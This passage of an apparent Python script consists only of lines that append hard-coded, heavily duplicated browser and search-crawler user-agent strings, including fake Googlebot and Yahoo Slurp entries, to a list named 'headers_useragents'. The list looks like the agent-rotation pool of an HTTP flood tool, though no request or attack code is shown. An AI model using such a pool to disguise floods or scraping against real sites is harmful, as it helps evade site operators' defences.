  2157.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2158.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2159.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2160.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2161.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2162.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2163.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2164.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2165.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2166.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2167.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2168.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2169.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2170.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2171.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2172.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2173.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2174.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2175.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2176.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2177.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2178.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2179.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2180.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2181.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2182.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2183.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2184.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2185.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2186.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2187.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2188.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2189.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2190.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2192.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2193.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2194.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2195.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2196.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2197.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2198.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2199.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2200.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2201.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2202.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2203.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2204.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2205.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2206.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2208.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2209.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2210.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2211.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2212.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2213.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2214.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2215.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2216.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2217.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2218.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2219.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2220.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2221.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2222.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2223.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2224.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2225.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2226.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2227.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2228.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2229.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2230.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2231.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2232.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2233.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2234.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2235.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2236.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2237.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2238.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2239.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2240.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2241.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2242.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2243.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2244.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2245.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2246.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2247.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2248.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2249.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2250.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2251.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2252.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2253.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2254.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2255.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2256.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2257.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2258.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2259.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2260.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2261.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2262.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2263.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2264.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2265.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2266.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2268.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2269.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2270.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2271.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2272.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2273.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2274.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2275.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2276.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2277.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2278.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2280.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2281.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2282.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2283.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2284.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2285.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2286.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2287.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2288.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2289.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2290.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2291.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2292.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2293.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2294.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2295.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2296.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2297.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2298.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2299.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2300.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2301.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2302.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2303.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2304.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2305.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2306.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2307.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2308.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2309.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2310.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2311.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2312.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2313.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2314.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2315.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2316.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2317.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2318.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2319.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2320.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2321.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2322.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2323.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2324.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2325.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2326.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2327.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2328.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2329.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2330.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2331.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2332.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2333.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2334.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2335.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2336.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2337.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2338.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2339.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2340.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2341.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2342.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2343.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2344.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2345.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
